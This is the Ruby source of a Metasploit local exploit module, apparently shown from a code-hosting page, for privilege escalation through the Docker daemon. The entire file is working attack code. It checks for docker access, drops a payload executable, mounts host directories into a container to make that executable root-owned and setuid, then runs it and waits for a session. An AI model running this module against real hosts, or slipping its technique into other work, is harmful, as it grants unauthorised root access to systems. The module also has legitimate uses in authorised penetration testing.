76 lines
2.4 KiB
Ruby
76 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/exploit/exe'
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::EXE
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include Msf::Post::File
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def initialize(info={})
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super(update_info(info, {
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'Name' => 'Docker Daemon Privilege Escalation',
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'Description' => %q{
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This module obtains root privileges from any host account with access to the
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Docker daemon. Usually this includes accounts in the `docker` group.
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},
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'License' => MSF_LICENSE,
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'Author' => ['forzoni'],
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'DisclosureDate' => 'Jun 28 2016',
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_X86_64],
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'Targets' => [ ['Automatic', {}] ],
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'SessionTypes' => ['shell', 'meterpreter']
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}
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))
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register_options([
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OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
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OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
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], self.class)
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end
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def check
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if cmd_exec("sh -c 'docker ps; echo $?'").strip =~ /1$/
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print_error("Failed to access Docker daemon.")
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Exploit::CheckCode::Safe
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else
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Exploit::CheckCode::Vulnerable
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end
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end
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def exploit
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pl = generate_payload_exe
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exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
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print_status("Writing payload executable to '#{exe_file}'")
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write_file(exe_file, pl)
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cmd_exec("chmod +x #{exe_file}")
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vprint_status shell_script(exe_file)
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vprint_status cmd_exec("sh -c '#{shell_script(exe_file)}'")
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stime = Time.now.to_f
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print_status "Starting the payload handler..."
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until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
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Rex.sleep(1)
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end
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end
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def shell_script(exploit_path)
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deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]
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dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")
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%Q{
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IMG=`echo "FROM scratch\\nCMD a" | docker build -q - | cut -d ":" -f2`
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EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
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docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
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docker rmi $IMG
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#{exploit_path}
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}.strip.split("\n").map(&:strip).join(';')
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end
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end
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